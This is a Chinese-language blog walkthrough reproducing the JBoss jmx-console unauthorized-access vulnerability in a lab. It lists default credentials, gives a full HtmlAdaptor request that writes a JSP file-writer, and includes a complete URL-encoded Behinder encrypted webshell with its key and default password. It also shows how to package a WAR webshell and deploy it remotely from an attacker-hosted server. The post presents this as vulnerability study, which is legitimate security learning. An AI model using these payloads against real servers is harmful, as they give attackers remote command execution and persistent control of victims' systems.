漏洞复现之JBOSS未授权访问
前言
作为一名北漂近两年的安服仔,大部分工作时间都花在客户驻场运维上了,除了偶尔参加个HW,基本上也没做过什么技术含量很高的项目。今年回到山西太原工作,参加了几次红蓝对抗和CTF比赛,发现自己在渗透方面的能力基本还停留在两年前刚入行的阶段,所以打算好好提升下这方面的技能,最近一直在学习内网渗透的东西,包括一些工具、网络架构之类的知识;当然了内网渗透是基于外围打点已经成功的情况下进行的,回顾最近一段时间参加的攻防,发现好多漏洞自己都不会利用,在有限的比赛时间内无法快速拿下外围目标,所以打算利用空闲时间每天学习几个漏洞,积累漏洞利用经验。
漏洞背景
JBoss是全世界开发者共同努力的成果,一个基于J2EE的开放源代码的应用服务器。因为JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用它,而不用支付费用。2006年,Jboss公司被Redhat公司收购。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3.0的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。
漏洞描述
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到jmx控制台,并在其中执⾏任何功能,例如可以通过脚本执行系统命令,如反弹shell、写入webshell文件等。
影响版本
jboss 4.x以下
环境搭建
使用docker+vulhub快速搭建环境:
检测到jboss控制台存在弱口令:
jboss控制台常见弱口令:
admin/admin
jboss/admin
admin/jboss
admin/123456
admin/password
漏洞复现
1、写入一句话木马:
http://192.168.229.135/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25+if(request.getParameter(%22f%22)!%3dnull)(new+java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b+%25%3e&argType=boolean&arg4=True
arg0 //代表war包的名称
arg1 //代表文件名称
arg2 //代表文件后缀名
arg3 //代表文件内容
将arg3中的值取出来并进行url解码后为:
<% if(request.getParameter(“f”)!=null)(new java.io.FileOutputStream(application.getRealPath(“/”)+request.getParameter(“f”))).write(request.getParameter(“t”).getBytes()); %>
这个语句的功能是写入文件,f=文件名,t=文件内容,执行后回显:
写入bx.jsp文件,内容为冰蝎的jsp木马,然后使用冰蝎连接:
http://192.168.229.135:8080/August/shell.jsp?f=bx.jsp&t=%3C%25%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%3E%3C%25!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%3E%3C%25if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3B%2F*%E8%AF%A5%E5%AF%86%E9%92%A5%E4%B8%BA%E8%BF%9E%E6%8E%A5%E5%AF%86%E7%A0%8132%E4%BD%8Dmd5%E5%80%BC%E7%9A%84%E5%89%8D16%E4%BD%8D%EF%BC%8C%E9%BB%98%E8%AE%A4%E8%BF%9E%E6%8E%A5%E5%AF%86%E7%A0%81rebeyond*%2Fsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%3E
2、远程部署木马上传:
点击如下链接,访问jboss控制台页面:
此处使用admin/admin进入控制台,点击jboss.deployment进入应用部署页面:
使用addurl参数进行木马的远程部署:
这里使用另一台主机192.168.229.139的phpstudy搭建远程木马服务器:
使用冰蝎的jsp木马生成war木马,首先将冰蝎马放到JDK_HOME/bin目录下,
cmd进入JDK_HOME/bin目录,运行"jar cvf shell.war shell.jsp",生成shell.war文件:
注意:一定要以管理员权限运行cmd,不然会报“拒绝访问”
将生成的war马放至phpstudy的www目录下:
http://192.168.229.139/shell.war
点击Invoke查看回显:
查看是否有部署成功,返回刚进入的jmx-console页面,找到jboss.web.deployment,如下说明部署成功。如果没显示,多刷新几次页面或者等会儿,直到看到有部署的war包即可:
访问 192.168.229.135:8080/shell,出现以下页面说明成功部署:
使用冰蝎连接 默认密码为(rebeyond):
修复建议
关闭jmx-console和web-console对jmx控制页面访问添加访问验证